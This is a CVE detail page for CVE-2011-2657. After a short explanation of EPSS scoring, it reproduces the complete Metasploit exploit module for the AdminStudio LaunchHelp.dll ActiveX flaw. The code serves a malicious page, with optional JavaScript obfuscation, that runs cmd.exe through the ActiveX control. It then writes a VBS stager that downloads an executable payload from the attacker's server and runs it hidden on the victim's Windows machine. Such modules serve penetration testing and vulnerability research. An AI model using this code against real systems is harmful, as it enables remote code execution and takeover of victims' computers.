CVE-2011-2657 : Detail

The EPSS model produces a probability score between 0 and 1 (0 and 100%). The higher the score, the greater the probability that a vulnerability will be exploited.

The percentile is used to rank CVE according to their EPSS score. For example, a CVE in the 95th percentile according to its EPSS score is more likely to be exploited than 95% of other CVE. Thus, the percentile is used to compare the EPSS score of a CVE with that of other CVE.

## # This file is part of the Metasploit Framework and may be subject to # redistribution and commercial restrictions. Please see the Metasploit # web site for more information on licensing and terms of use. # http://metasploit.com/ ## require 'msf/core' class Metasploit3 < Msf::Exploit::Remote Rank = NormalRanking include Msf::Exploit::Remote::HttpServer::HTML include Msf::Exploit::EXE def initialize(info = {}) super(update_info(info, 'Name' => 'AdminStudio LaunchHelp.dll ActiveX Arbitrary Code Execution', 'Description' => %q{ This module exploits a vulnerability in AdminStudio LaunchHelp.dll ActiveX control. The LaunchProcess function found in LaunchHelp.HelpLauncher.1 allows remote attackers to run arbitrary commands on the victim machine. This module has been successfully tested with the ActiveX installed with AdminStudio 9.5, which also comes with Novell ZENworks Configuration Management 10 SP2, on IE 6 and IE 8 over Windows XP SP 3. }, 'License' => MSF_LICENSE, 'Author' => [ 'rgod', # Vulnerability discovery 'juan' # Metasploit module ], 'References' => [ [ 'CVE', '2011-2657' ], [ 'OSVDB', '76700'], [ 'BID', '50274' ], [ 'URL', 'http://www.zerodayinitiative.com/advisories/ZDI-11-318/' ], [ 'URL', 'http://www.novell.com/support/viewContent.do?externalId=7009570&sliceId=1' ], ], 'Payload' => { 'Space' => 1024, 'BadChars' => "\x00", }, 'DefaultOptions' => { 'InitialAutoRunScript' => 'migrate -f', }, 'Platform' => 'win', 'Targets' => [ # LaunchHelp.dll 9.5.0.0 [ 'Windows Universal', {} ], ], 'DisclosureDate' => 'Oct 19 2011', 'DefaultTarget' => 0)) register_options( [ OptString.new('WINDOWSTEMP', [ true, "The Windows temporal folder.", "C:/Windows/Temp" ]), OptBool.new('OBFUSCATE', [false, 'Enable JavaScript obfuscation', false]), ], self.class) end def on_new_session(client) if client.type != "meterpreter" print_error("NOTE: you must use a meterpreter payload in order to automatically cleanup.") print_error("The vbs stager and exe payload must be removed manually.") return end # stdapi must be loaded before we can use fs.file client.core.use("stdapi") if not client.ext.aliases.include?("stdapi") begin print_status("Deleting the vbs payload \"#{@stager_name}\" ...") client.fs.file.rm("#{@temp_folder}/#{@stager_name}") print_good("The vbs stager has been deleted successfully") print_status("The exe payload #{@temp_folder}/#{@payload_name}.exe must be removed manually") rescue ::Exception => e print_error("Problems while the clenaup") print_status("The vbs stager #{@temp_folder}/#{@stager_name} must be removed manually") print_status("The exe payload #{@temp_folder}/#{@payload_name}.exe must be removed manually") print_error("Exception: #{e.inspect}") return end end # Stager wrote by sinn3r to avoid problems when echoing the vbs cmdstager too many times. # See "real_arcade_installerdlg.rb" for more information. def build_vbs(url) name_xmlhttp = rand_text_alpha(2) name_adodb = rand_text_alpha(2) tmp = "#{@temp_folder}/#{@stager_name}" vbs = "echo Set #{name_xmlhttp} = CreateObject(\"Microsoft.XMLHTTP\") " vbs << ": #{name_xmlhttp}.open \"GET\",\"http://#{url}\",False : #{name_xmlhttp}.send" vbs << ": Set #{name_adodb} = CreateObject(\"ADODB.Stream\") " vbs << ": #{name_adodb}.Open : #{name_adodb}.Type=1 " vbs << ": #{name_adodb}.Write #{name_xmlhttp}.responseBody " vbs << ": #{name_adodb}.SaveToFile \"#{@temp_folder}/#{@payload_name}.exe\",2 " vbs << ": CreateObject(\"WScript.Shell\").Run \"#{@temp_folder}/#{@payload_name}.exe\",0 >> #{tmp}" return vbs end def exploit @payload_name = rand_text_alpha(4) @temp_folder = datastore['WINDOWSTEMP'] @stager_name = rand_text_alpha(6) + ".vbs" super end def on_request_uri(cli, request) agent = request.headers['User-Agent'] # Avoid the attack if the victim doesn't have the same setup we're targeting if not agent =~ /MSIE/ print_error("Browser not supported: #{agent}") send_not_found(cli) return end if request.uri =~ /\.exe/ print_status("Sending payload EXE") return if ((p=regenerate_payload(cli)) == nil) data = generate_payload_exe( {:code=>p.encoded} ) send_response(cli, data, {'Content-Type' => 'application/octet-stream'} ) return end # Payload's URL payload_src = (datastore['SRVHOST'] == '0.0.0.0') ? Rex::Socket.source_address(cli.peerhost) : datastore['SRVHOST'] payload_src << ":" << datastore['SRVPORT'] << get_resource() + "/" + @payload_name + ".exe" # Create the stager (download + execute payload) stager = build_vbs(payload_src) js = <<-JS var actvx = new ActiveXObject('LaunchHelp.HelpLauncher.1'); actvx.LaunchProcess("cmd.exe", '/c #{stager}'); actvx.LaunchProcess("cmd.exe", "/c start #{@temp_folder}/#{@stager_name}"); JS if datastore['OBFUSCATE'] js = ::Rex::Exploitation::JSObfu.new(js) js.obfuscate end html = <<-EOS <html> <body> <script> #{js} </script> </body> </html> EOS # Remove extra tabs html = html.gsub(/^\t\t/, "") print_status("Sending #{self.name}") send_response(cli, html, { 'Content-Type' => 'text/html' }) end end